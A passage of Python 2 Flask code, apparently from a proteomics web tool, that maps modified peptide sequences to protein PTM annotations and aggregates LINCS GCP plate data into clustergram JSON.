"P68431[me3K@10](HIST1H3A)", "K[+98]STGGK[+56]APR": "P68431[aK@10](HIST1H3A)", "K[+112.1]STGGK[+42]APR": "P68431[aK@15](HIST1H3A)", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15](HIST1H3A)", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15](HIST1H3A)", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15](HIST1H3A)", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15](HIST1H3A)", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11](HIST1H3A)", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11](HIST1H3A)", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11](HIST1H3A)", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11](HIST1H3A)", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11](HIST1H3A)", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15](HIST1H3A)", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15](HIST1H3A)", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15](HIST1H3A)", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15](HIST1H3A)", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15](HIST1H3A)", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24](HIST1H3A)", "K[+98]QLATK[+56]AAR": "P68431[aK@19](HIST1H3A)", "K[+112.1]QLATK[+42]AAR": "P68431[aK@24](HIST1H3A)", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24](HIST1H3A)", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24](HIST1H3A)", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24](HIST1H3A)", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37](HIST1H3A)", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37](HIST1H3A)", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37](HIST1H3A)", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37](HIST1H3A)", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37](HIST1H3A)", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37](H3F3A)", "Y[+56]RPGTVALR": "P68431-NORM(HIST1H3A)", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57](HIST1H3A)", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80](HIST1H3A)", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80](HIST1H3A)", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80](HIST1H3A)", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37](HIST1H3A)", "Y[+56]QK[+42]STELLIR": "P68431[aK@57](HIST1H3A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17](HIST1H4A)", "K[+112.1]VLR": "P62805[me0K@21](HIST1H4A)", "K[+126.1]VLR": "P62805[meK@21](HIST1H4A)", "K[+84.1]VLR": "P62805[me2K@21](HIST1H4A)", "K[+98.1]VLR": "P62805[me3K@21](HIST1H4A)", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM(HIST1H4A)", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57](HIST1H3A)" } GCP_data = pd.read_csv('static/data/GCP-all-plates-Level4.2018_08_07.processed.csv', sep=',', header=None) GCP_unique_complete = {} for column in range(25, GCP_data.shape[1]): # print (column) # identifier = str(GCP_data[column][10]) +"++"+str(GCP_data[column][3]) +"++"+ str(GCP_data[column][7]) +"++"+ str(GCP_data[column][11]) GCP_identifier_complete = str(GCP_data[column][1]) + "++" + str(GCP_data[column][5]) + "++" + str( GCP_data[column][7]) + "++" + str(GCP_data[column][8]) + "++" + str(GCP_data[column][9]) + "++" + \ str(GCP_data[column][11]) + "++" + str(GCP_data[column][12]) + "++" + \ str(GCP_data[column][13]) + "++" + str(GCP_data[column][14]) + "++" \ + str(GCP_data[column][15]) + "++" + \ str(GCP_data[column][16]) + "++" + str(GCP_data[column][17]) + "++" + \ str(GCP_data[column][18]) + "++" + str(GCP_data[column][19]) + "++" + \ str(GCP_data[column][20]) + "++" + str(GCP_data[column][21]) + "++" + \ str(GCP_data[column][22]) + "++" + str(GCP_data[column][23]) + "++" + \ str(GCP_data[column][24]) + "++" + str(GCP_data[column][25]) + "++" + \ str(GCP_data[column][26]) + "++" + str(GCP_data[column][27]) if GCP_identifier_complete not in GCP_unique_complete.keys(): # print identifier_complete GCP_unique_complete[GCP_identifier_complete] = [] GCP_unique_complete.get(GCP_identifier_complete).append(column) else: GCP_unique_complete.get(GCP_identifier_complete).append(column) iterator = 0 for key in GCP_unique_complete: val = GCP_unique_complete.get(key) value = list(val) # print key for item in value: iterator += 1 # print item # print "------------------------" print iterator #print unique_complete_modified total = 0 total_complete = 0 print "size of unique_complete keys" print len(GCP_unique_complete.keys()) print "size of unique_complete" print len(GCP_unique_complete) unique_sum = {} # unique_sum_modified = {} unique_pvalue = {} col_cell_line = [] col_pert_name = [] col_pert_dose = [] col_pert_time = [] col_pert_type = [] my_data_con = [] keyIter = 0 first_loop = True for key in GCP_unique_complete: initial = [0.0]*79 initial2 = [0.0] * 79 initial_not_na = [0.0] * 79 unique_sum[key] = initial unique_pvalue[key] = initial2 val = GCP_unique_complete.get(key) key_splitted = key.split("++") print key_splitted col_cell_line.append('Cell Line: ' + key_splitted[0]) col_pert_dose.append('Dose: ' + key_splitted[5] + key_splitted[6]) col_pert_time.append('Time: ' + key_splitted[9] + key_splitted[10]) col_pert_name.append('Perturnations: ' + key_splitted[8]) if "_sg01" not in key_splitted[8] and "_sg02" not in key_splitted[8]: col_pert_type.append('Type: Small Molecule') else: col_pert_type.append('Type: CRISPR') item = list(val) # if len(item) == 1: # print '111111 %d =========== %s %s' % (keyIter, key, val) keyIter += 1 value_list = 0 for item_iter in range(0, 79): aux_list = [] for col in item: aux_list.append(float(GCP_data[col][item_iter + 28])) if GCP_data[col][item_iter + 28] != "NA": unique_sum.get(key)[item_iter] += float(GCP_data[col][item_iter + 28]) initial_not_na[item_iter] += 1 if initial_not_na[item_iter] > 0: unique_sum.get(key)[item_iter] /= initial_not_na[item_iter] meanValue = np.mean(aux_list) average = sum(aux_list) / len(aux_list) # print "++++++++++++++++++" # print average # print meanValue # print unique_sum.get(key)[item_iter] if len(aux_list) > 1: variance2 = sum((average - value) ** 2 for value in aux_list) / (len(aux_list)-1) print "end of loop" x1 = np.array(unique_sum.get(key)) print "end of loop1" x2 = x1[:, np.newaxis] print "end of loop2" my_data_final = np.asarray(x2) print "end of loop3" if first_loop: my_data_con = my_data_final first_loop = False else: my_data_con = np.hstack((my_data_con, my_data_final)) print "end of loop4" print "======================" print "======================" print "======================" print my_data_con.shape row_peptide = [] row_protein = [] row_gene = [] row_shorthand = [] for i in range(0, 79): print str(GCP_data[4][28 + i]) peptide = str(GCP_data[4][28 + i]) if(peptide == 'T[+56]K[+42]QTAR'): print str(GCP_data[2][28 + i]) if(str(GCP_data[2][28 + i]) == 'BI10006'): peptide = "T[+56]K[+42]QTAR-me3K" else: peptide = "T[+56]K[+42]QTAR-aK" print peptide row_peptide.append('Peptide: ' + peptide) shorthand = petide2ptmAndGene[peptide] print shorthand row_shorthand.append('PTM Proteins: ' + shorthand) row_protein.append('Protein: ' + str(GCP_data[9][28 + i])) row_gene.append('Gene: ' + str(GCP_data[6][28 + i])) arrays_rows2 = [np.array(row_shorthand),np.array(row_peptide),np.array(row_protein),np.array(row_gene)] arrays_columns2 = [np.array(col_pert_name), np.array(col_pert_time), np.array(col_pert_dose), np.array(col_pert_type),np.array(col_cell_line)] tuples_rows2 = list(zip(*arrays_rows2)) #print tuples_rows2 tuples_columns2 = list(zip(*arrays_columns2)) #print tuples_columns2 rows_labels2 = pd.MultiIndex.from_tuples(tuples_rows2) columns_labels2 = pd.MultiIndex.from_tuples(tuples_columns2) #my_data_con = my_data_con.fillna(0) print "after na to zero" a2 = np.nan_to_num(my_data_con) #a2 = my_data_con aa = a2.astype(np.float) print a2 print a2.shape print columns_labels2.shape print rows_labels2.shape # {'nop': row1, 'o0p': row2, 'zaz': row3, 'zax': row4, 'oof': row5, 'oye': row6} #df = pd.DataFrame(a, index=rows_labels, columns=columns_labels) df2 = pd.DataFrame(aa, index=rows_labels2, columns=columns_labels2) #print df2 GCP_all_json = loadFile.make_json_from_txt(df2) json.dump(GCP_all_json, open("static/data/GCP_aggregated_clustergram.json", 'w')) return GCP_all_json @app.route("/api/test/<vars>") def doSomething(vars): for var in vars.split(","): print var @app.route("/api/clust/GCP/aggregated/") def make_clustergram_GCP_aggregated(): petide2ptmAndGene = { "IYQY[+80]IQSR": "Q13627[Y+80@321](DYRK1A)", "TPKDS[+80]PGIPPSANAHQLFR": "P51812[S+80@369](RPS6KA3)", "RNS[+80]SEASSGDFLDLK": "Q9UK76[S+80@87](JPT1)", "LPLVPES[+80]PRR": "Q86WB0[S+80@321](ZC3HC1)", "ANAS[+80]PQKPLDLK": "Q9Y618[S+80@956](NCOR2)", "LENS[+80]PLGEALR": "Q9NX40[S+80@108](OCIAD1)", "ANS[+80]FVGTAQYVSPELLTEK": "O15530[S+80@241](PDPK1)", "TNPPTQKPPS[+80]PPMSGR": "Q8IZP0[S+80@183](ABI1)", "SNS[+80]LPHSAVSNAGSK": "Q8TBZ3[S+80@434](WDR20)", "VGS[+80]LDNVGHLPAGGAVK": "P27816[S+80@1073](MAP4)", "AAPEAS[+80]SPPASPLQHLLPGK": "Q96TA1[S+80@691](FAM129B)", "S[+122]DKPDM[+16]AEIEKFDK": "P62328[S+122@2][M+16@7](TMSB4X)", "S[+122]DKPDMAEIEKFDK": "P62328[S+122@2](TMSB4X)", "SLS[+80]LGDKEISR": "Q9UMZ2[S+80@1075](SYNRG)", "DLVQPDKPAS[+80]PK": "Q6PJT7[S+80@515](ZC3H14)", "SPS[+80]PAHLPDDPKVAEK": "Q92615[S+80@601](LARP4B)", "S[+80]IQDLTVTGTEPGQVSSR": "O43318[S+80@439](MAP3K7)", "IHS[+80]PIIR": "O60885[S+80@1117](BRD4)", "TFS[+80]LTEVR": "O95239[S+80@801](KIF4A)", "SLVGS[+80]WLK": "Q6ICG6[S+80@362](KIAA0930)", "S[+80]PPAPGLQPMR": "P15408[S+80@200](FOSL2)", "LAS[+80]PELER": "P17535[S+80@100](JUND)", "IGPLGLS[+80]PK": "P30050[S+80@38](RPL12)", "TPS[+80]IQPSLLPHAAPFAK": "P35658[S+80@1023](NUP214)", "HAS[+80]PILPITEFSDIPR": "P42167[S+80@306](TMPO)", "LIPGPLS[+80]PVAR": "P48634[S+80@1219](PRRC2A)", "LGM[+16]LS[+80]PEGTC[+57]K": "P49327[S+80@207][M+16@205][C+57@212](FASN)", "LGMLS[+80]PEGTC[+57]K": "P49327[S+80@207][C+57@212](FASN)", "ISNLS[+80]PEEEQGLWK": "Q5HYJ3[S+80@193](FAM76B)", "VSMPDVELNLKS[+80]PK": "Q09666[S+80@3426](AHNAK)", "S[+122]DNGELEDKPPAPPVR": "Q13177[S+122@2](PAK2)", "KAYS[+80]FC[+57]GTVEYM[+16]APEVVNR": "Q15418[S+80@221][M+16@229][C+57@223](RPS6KA1)", "KAYS[+80]FC[+57]GTVEYMAPEVVNR": "Q15418[S+80@221][C+57@223](RPS6KA1)", "NDS[+80]WGSFDLR": "Q7Z417[S+80@652](NUFIP2)", "LEVTEIVKPS[+80]PK": "Q7Z6E9[S+80@1179](RBBP6)", "YGS[+80]PPQRDPNWNGER": "O15234[S+80@265](CASC3)", "QDDS[+80]PPRPIIGPALPPGFIK": "Q8IXQ4[S+80@105](GPALPP1)", "SFS[+80]ADNFIGIQR": "Q8N7R7[S+80@344](CCNYL1)", "VLS[+80]PLIIK": "Q8NCN4[S+80@403](RNF169)", "AGS[+80]PDVLR": "Q8NDX6[S+80@44](ZNF740)", "LGPGRPLPTFPTSEC[+57]TS[+80]DVEPDTR": "Q8TDD1[S+80@75][C+57@73](DDX54)", "LAAPSVSHVS[+80]PR": "Q8WXE1[S+80@224](ATRIP)", "VDDDS[+80]LGEFPVTNSR": "Q92785[S+80@142](DPF2)", "NEEPVRS[+80]PERR": "Q92922[S+80@310](SMARCC1)", "LFIIRGS[+80]PQQIDHAK": "Q92945[S+80@480](KHSRP)", "S[+80]IEVENDFLPVEK": "Q96B97[S+80@230](SH3KBP1)", "TAPTLS[+80]PEHWK": "Q96JM3[S+80@405](CHAMP1)", "VLS[+80]PTAAKPSPFEGK": "Q96QC0[S+80@313](PPP1R10)", "SSDQPLTVPVS[+80]PK": "Q9ULW0[S+80@738](TPX2)", "FYETKEESYS[+80]PSKDR": "Q96T23[S+80@473](RSF1)", "SDS[+80]PENKYSDSTGHSK": "Q9BTA9[S+80@64](WAC)", "S[+80]IPLSIK": "Q9C0C9[S+80@515](UBE2O)", "RLS[+80]QSDEDVIR": "Q9H7D7[S+80@121](WDR26)", "ATS[+80]PVKSTTSITDAK": "Q9NQW6[S+80@295](ANLN)", "ALGS[+80]PTKQLLPC[+57]EMAC[+57]NEK": "Q9NR45[S+80@275][C+57@283][C+57@287](NANS)", "YLLGDAPVS[+80]PSSQK": "Q9NYB0[S+80@203](TERF2IP)", "ANS[+80]PEKPPEAGAAHKPR": "Q9UFC0[S+80@212](LRWD1)", "SEVQQPVHPKPLS[+80]PDSR": "Q9UHB6[S+80@362](LIMA1)", "ETPHS[+80]PGVEDAPIAK": "Q9UHB6[S+80@490](LIMA1)", "SQS[+80]PHYFR": "Q9UKJ3[S+80@1035](GPATCH8)", "DRS[+80]SPPPGYIPDELHQVAR": "Q9Y2U5[S+80@163](MAP3K2)", "SPALKS[+80]PLQSVVVR": "Q9Y2W1[S+80@253](THRAP3)", "AFGSGIDIKPGT[+80]PPIAGR": "Q9Y520[T+80@2673](PRRC2C)", "SFS[+80]SQRPVDR": "Q9Y520[S+80@1544](PRRC2C)", "VYT[+80]HEVVTLWYR": "P06493[T+80@161](CDK1)", "SST[+80]PLPTISSSAENTR": "P42167[T+80@160](TMPO)", "QIT[+80]MEELVR": "Q15149[T+80@4030](PLEC)", "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q9BXP5[T+80@544](SRRT)", "ALPQT[+80]PRPR": "Q9UQ35[T+80@1492](SRRM2)", "SMS[+80]VDLSHIPLKDPLLFK": "A0JNW5[S+80@935](UHRF1BP1L)", "S[+80]PTGPSNSFLANMGGTVAHK": "Q96I25[S+80@222](RBM17)", "S[+80]LTAHSLLPLAEK": "Q86VI3[S+80@1424](IQGAP3)", "S[+80]FAGNLNTYKR": "Q01813[S+80@386](PFKP)", "HRPS[+80]PPATPPPK": "Q8IYB3[S+80@402](SRRM1)", "LHS[+80]APNLSDLHVVRPK": "O75385[S+80@556](ULK1)", "TLGRRDS[+80]SDDWEIPDGQITVGQR": "P15056[S+80@446](BRAF)", "A[+42]TTATM[+16]ATSGS[+80]AR": "P38919[S+80@12][M+16@7][A+42@2](EIF4A3)", "A[+42]TTATMATSGS[+80]AR": "P38919[S+80@12][A+42@2](EIF4A3)", "IHVSRS[+80]PTRPR": "Q499Z4[S+80@189](ZNF672)", "RPHS[+80]PEKAFSSNPVVR": "Q53F19[S+80@500](NCBP3)", "KPNIFYSGPAS[+80]PARPR": "Q6PL18[S+80@327](ATAD2)", "TEFLDLDNSPLSPPS[+80]PR": "Q8NCF5[S+80@204](NFATC2IP)", "QGSGRES[+80]PSLASR": "Q8WWM7[S+80@339](ATXN2L)", # "TQLWASEPGT[+80]PPLPTSLPSQNPILK": "Q8WWM7[S+80@339](SRRM2)", "LQS[+80]EPESIR": "P09496[S+80@105](CLTA)", "RLIS[+80]PYKK": "O14929[S+80@361](HAT1)", "LLEDS[+80]EESSEETVSR": "O60231[S+80@103](DHX16)", "S[+80]PPAPGLQPM[+16]R": "P15408[S+80@200][M+16@209](FOSL2)", "RRLS[+80]SLR": "P62753[S+80@235](RPS6)", "RLS[+80]ESQLSFRR": "Q96PK6[S+80@618](RBM14)", "RLS[+80]LPGLLSQVSPR": "Q96Q42[S+80@483](ALS2)", "SPDKPGGS[+80]PSASRR": "Q9Y3T9[S+80@56](NOC2L)", "HLPS[+80]PPTLDSIITEYLR": "Q9Y4B6[S+80@1000](DCAF1)", "ST[+80]FHAGQLR": "Q7KZI7[T+80@596](MARK2)", "S[+80]LTNSHLEKK": "Q9H2H9[S+80@52](SLC38A1)", "LQTPNT[+80]FPKR": "Q14978[T+80@610](NOLC1)", "QIT[+80]M[+16]EELVR": "Q15149[M+16@4031][T+80@4030](PLEC)", "T[+56]K[+56]QTAR": "P68431[me0K@5](HIST1H3A)", "T[+56]K[+70]QTAR": "P68431[meK@5](HIST1H3A)", "T[+56]K[+28]QTAR": "P68431[me2K@5](HIST1H3A)", "T[+56]K[+42]QTAR-me3K": "P68431[me3K@5](HIST1H3A)", "T[+56]K[+42]QTAR-aK": "P68431[aK@5](HIST1H3A)", "K[+112.1]STGGK[+56]APR": "P68431[me0K@10][a0K@15](HIST1H3A)", "K[+126.1]STGGK[+56]APR": "P68431[meK@10](HIST1H3A)", "K[+84.1]STGGK[+56]APR": "P68431[me2K@10](HIST1H3A)", "K[+98.1]STGGK[+56]APR": "P68431[me3K@10](HIST1H3A)", "K[+98]STGGK[+56]APR": "P68431[aK@10](HIST1H3A)", "K[+112.1]STGGK[+42]APR": "P68431[aK@15](HIST1H3A)", "K[+126.1]STGGK[+42]APR": "P68431[meK@10][aK@15](HIST1H3A)", "K[+84.1]STGGK[+42]APR": "P68431[me2K@10][aK@15](HIST1H3A)", "K[+98.1]STGGK[+42]APR": "P68431[me3K@10][aK@15](HIST1H3A)", "K[+98]STGGK[+42]APR": "P68431[aK@10][aK@15](HIST1H3A)", "K[+112.1]S[+80]TGGK[+56]APR": "P68431[pS@11](HIST1H3A)", "K[+126.1]S[+80]TGGK[+56]APR": "P68431[meK@10][pS@11](HIST1H3A)", "K[+84.1]S[+80]TGGK[+56]APR": "P68431[me2K@10][pS@11](HIST1H3A)", "K[+98.1]S[+80]TGGK[+56]APR": "P68431[me3K@10][pS@11](HIST1H3A)", "K[+98]S[+80]TGGK[+56]APR": "P68431[aK@10][pS@11](HIST1H3A)", "K[+112.1]S[+80]TGGK[+42]APR": "P68431[pS@11][aK@15](HIST1H3A)", "K[+126.1]S[+80]TGGK[+42]APR": "P68431[meK@10][pS@11][aK@15](HIST1H3A)", "K[+84.1]S[+80]TGGK[+42]APR": "P68431[me2K@10][pS@11][aK@15](HIST1H3A)", "K[+98.1]S[+80]TGGK[+42]APR": "P68431[me3K@10][pS@11][aK@15](HIST1H3A)", "K[+98]S[+80]TGGK[+42]APR": "P68431[aK@10][pS@11][aK@15](HIST1H3A)", "K[+112.1]QLATK[+56]AAR": "P68431[a0K@19][a0K@24](HIST1H3A)", "K[+98]QLATK[+56]AAR": "P68431[aK@19](HIST1H3A)", "K[+112.1]QLATK[+42]AAR": "P68431[aK@24](HIST1H3A)", "K[+98]QLATK[+42]AAR": "P68431[aK@19][aK@24](HIST1H3A)", "K[+226.1]QLATK[+56]AAR": "P68431[ubK@19][a0K@24](HIST1H3A)", "K[+112.1]QLATK[+170.1]AAR": "P68431[ubK@24](HIST1H3A)", "K[+112.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me0K@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+56]K[+56]PHR": "P68431[meK@28][me0K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+70]K[+56]PHR": "P68431[meK@28][meK@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+28]K[+56]PHR": "P68431[meK@28][me2K@37](HIST1H3A)", "K[+126.1]SAPATGGVK[+42]K[+56]PHR": "P68431[meK@28][me3K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me2K@28][me0K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me2K@28][meK@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me2K@28][me2K@37](HIST1H3A)", "K[+84.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me2K@28][me3K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+56]K[+56]PHR": "P68431[me3K@28][me0K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me3K@28][meK@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me3K@28][me2K@37](HIST1H3A)", "K[+98.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me3K@28][me3K@37](HIST1H3A)", "K[+98]SAPATGGVK[+56]K[+56]PHR": "P68431[aK@28][me0K@37](HIST1H3A)", "K[+98]SAPATGGVK[+70]K[+56]PHR": "P68431[aK@28][meK@37](HIST1H3A)", "K[+98]SAPATGGVK[+28]K[+56]PHR": "P68431[aK@28][me2K@37](HIST1H3A)", "K[+98]SAPATGGVK[+42]K[+56]PHR": "P68431[aK@28][me3K@37](HIST1H3A)", "K[+112.1]SAPSTGGVK[+56]K[+56]PHR": "P84243[me0K@28][me0K@37](H3F3A)", "Y[+56]RPGTVALR": "P68431-NORM(HIST1H3A)", "Y[+56]QK[+56]STELLIR": "P68431[me0K@57](HIST1H3A)", "E[+56]IAQDFK[+56]TDLR": "P68431[me0K@80](HIST1H3A)", "E[+56]IAQDFK[+70]TDLR": "P68431[meK@80](HIST1H3A)", "E[+56]IAQDFK[+28]TDLR": "P68431[me2K@80](HIST1H3A)", "K[+112.1]SAPATGGVK[+70]K[+56]PHR": "P68431[me0K@28][meK@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+28]K[+56]PHR": "P68431[me0K@28][me2K@37](HIST1H3A)", "K[+112.1]SAPATGGVK[+42]K[+56]PHR": "P68431[me0K@28][me3K@37](HIST1H3A)", "Y[+56]QK[+42]STELLIR": "P68431[aK@57](HIST1H3A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[a0K@6][a0K@13][a0K@17](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+56]R": "P62805[aK@6](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+56]R": "P62805[aK@13](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+56]R": "P62805[aK@6][aK@9](HIST1H4A)", "G[+56]K[+42]GGK[+56]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+42]GGAK[+42]R": "P62805[aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+56]R": "P62805[aK@6][aK@9][aK@13](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+56]GGAK[+42]R": "P62805[aK@6][aK@9][aK@17](HIST1H4A)", "G[+56]K[+42]GGK[+42]GLGK[+42]GGAK[+42]R": "P62805[aK@6][aK@9][aK@13][aK@17](HIST1H4A)", "G[+56]K[+56]GGK[+56]GLGK[+56]GGAK[+70]R": "P62805[meK@17](HIST1H4A)", "K[+112.1]VLR": "P62805[me0K@21](HIST1H4A)", "K[+126.1]VLR": "P62805[meK@21](HIST1H4A)", "K[+84.1]VLR": "P62805[me2K@21](HIST1H4A)", "K[+98.1]VLR": "P62805[me3K@21](HIST1H4A)", "D[+56]AVTYTEHAK[+56]R": "P62805-NORM(HIST1H4A)", "Y[+56]QK[+28]STELLIR": "P68431[me2K@57](HIST1H3A)" } GCP_data = pd.read_csv('static/data/GCP-all-plates-Level4.2018_08_07.processed.csv', sep=',', header=None) GCP_unique_complete = {} print GCP_data.shape print "inside /api/clust/GCP/aggregated/" for column in range(25, GCP_data.shape[1]): print (column) # identifier = str(GCP_data[column][10]) +"++"+str(GCP_data[column][3]) +"++"+ str(GCP_data[column][7]) +"++"+ str(GCP_data[column][11]) GCP_identifier_complete = str(GCP_data[column][1]) + "++" + str(GCP_data[column][5]) \ + "++" + str(GCP_data[column][7]) + "++" + str(GCP_data[column][8]) + "++" + \ str(GCP_data[column][11]) + "++" + str(GCP_data[column][12]) + "++" + \ str(GCP_data[column][13]) + "++" + str(GCP_data[column][14]) + "++" \ + str(GCP_data[column][15]) + "++" + \ str(GCP_data[column][16]) + "++" + str(GCP_data[column][17]) + "++" + \ str(GCP_data[column][18]) + "++" + str(GCP_data[column][19]) + "++" + \ str(GCP_data[column][20]) + "++" + str(GCP_data[column][21]) + "++" + \ str(GCP_data[column][22]) + "++" + str(GCP_data[column][23]) + "++" + \ str(GCP_data[column][24]) + "++" + str(GCP_data[column][25]) + "++" + \ str(GCP_data[column][26]) + "++" + str(GCP_data[column][27]) if GCP_identifier_complete not in GCP_unique_complete.keys(): # print identifier_complete GCP_unique_complete[GCP_identifier_complete] = [] GCP_unique_complete.get(GCP_identifier_complete).append(column) else: GCP_unique_complete.get(GCP_identifier_complete).append(column) iterator = 0 for key in GCP_unique_complete: val = GCP_unique_complete.get(key) value = list(val) # print key for item in value: iterator += 1 # print item # print "------------------------" print iterator # print unique_complete_modified total = 0 total_complete = 0 print "size of unique_complete keys" print len(GCP_unique_complete.keys()) print "size of unique_complete" print len(GCP_unique_complete) unique_sum = {} # unique_sum_modified = {} unique_pvalue = {} col_cell_line = [] col_pert_name = [] col_pert_dose = [] col_pert_time = [] col_pert_type = [] col_pert_signature = [] my_data_con = [] keyIter = 0 first_loop = True # {"pertAnnotation": [{"LINCS_UNIQUE": "LINCSTP_0094", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "A375", # "pubchemCid": "71712226", "pertId": "BRD-A48881734", "pertType": "trt_cp", "pertTime": "3", # "pertDose": "1", "id": "P1", "lsmId": "LSM-42750"}, # {"LINCS_UNIQUE": "LINCSTP_0236", "pertVehicle": "DMSO", "pertName": "CPI-169", "cellId": "MCF7", # "pubchemCid": "71712226", 